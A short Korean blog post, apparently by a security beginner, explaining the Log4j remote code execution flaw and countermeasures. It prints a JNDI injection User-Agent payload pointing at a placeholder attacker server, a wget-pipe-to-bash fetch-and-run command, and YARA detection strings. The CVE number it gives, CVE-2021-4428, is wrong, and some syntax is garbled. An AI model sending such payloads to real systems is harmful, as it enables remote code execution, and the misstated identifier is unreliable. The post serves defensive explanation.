[Report] Apache Log4j 취약점 분석

Dong Jung·2023년 1월 25일
0

Report

목록 보기
2/5
post-thumbnail

2023.01.25

1.개요
2.공격
3.대응방안

1.개요

21년말부터 22년 초까지 유명했던 Apache Log4j 취약점에 대한 소개.

Log4j란?

Java에서 사용하는 로그 생성 모듈이다.
Log를 생성할 때 사용하는 라이브러리로써 로그를 생성하는 포맷등을 쉽게 생성하고 양식을 표준화 할 수 있기 때문에, 대부분의 Java 개발시 사용하는 기본 모듈과 같다.

2. 공격

CVE-2021-4428

Log4j에는 여러 취약점이 있기 때문에 추가적으로 CVE코드가 붙어있지만 이 글에서는 CVE-2021-4428에 대해 이야기하려한다.
해당 취약점은 원격 코드 실행(RCE) 취약점으로 Log4j 내의 텍스트 문자열을 분석하는중 JNDI가 "${jndi]" 명령의 특정 서식이 포함된 로그메시지를 받으면 트리거가 되어 원격 코드를 실행할 수 있게 된다.

PayLoad

User-Agent의 스트링을 통해 원격 코드를 실행한다.
wget -q -O AttackerserverIP|bash

공격자는 공격구문을 숨기기위해 명령어 부분은 base64를 통해 인코딩해서 사용한다.
해당 구문이 실행되면 공격자의 IP에서 웹쉘과 같은 악의적인 파일을 업로드하여 원격코드를 실행시키려고 할것이다.

User-Agent: ${jndi:ldap://AttackerserverIP/Basic/Command/Base64/d2dldCAtcSAtTyBBdHRhY2tlcnNlcnZlcklQfGJhc2g=}

3. 대응방안

해당 취약점이 처음 나왔을때 KISA의 권고안은 Log4j 버전 업데이트를 추천하였다.
그 때 당시에는 2.0이상 버전은 여러가지로 불안정하다는 평이 많았기 때문에 임시 방안으로 JndiLookup 클래스를 해당 경로로 들어가 수동제거하였다.

현재는 버전의 안전성이 높아졌으므로 패치 하여 조치하는쪽이 좋을꺼같다.

시스템 구성상의 문제로 패치가 불가피하다면, IPS-IDS에 룰로 Content에 jndi:을 추가하여 관리하는것이 좋아보인다.

Yara
      $ x01  =  " ${jndi:ldap:/ "
      $ x02  =  " ${jndi:rmi:/ "
      $ x03  =  " ${jndi:ldaps:/ "
      $ x04  =  " ${jndi:dns:/ "
      $ x05  =  " ${jndi:iiop:/ "
      $ x06  =  " ${jndi:http:/ "
      $ x07  =  " ${jndi:nis:/ "
      $ x08  =  " ${jndi:nds:/ "
      $ x09  =  " ${jndi:corba:/ "
profile
보안새내기

0개의 댓글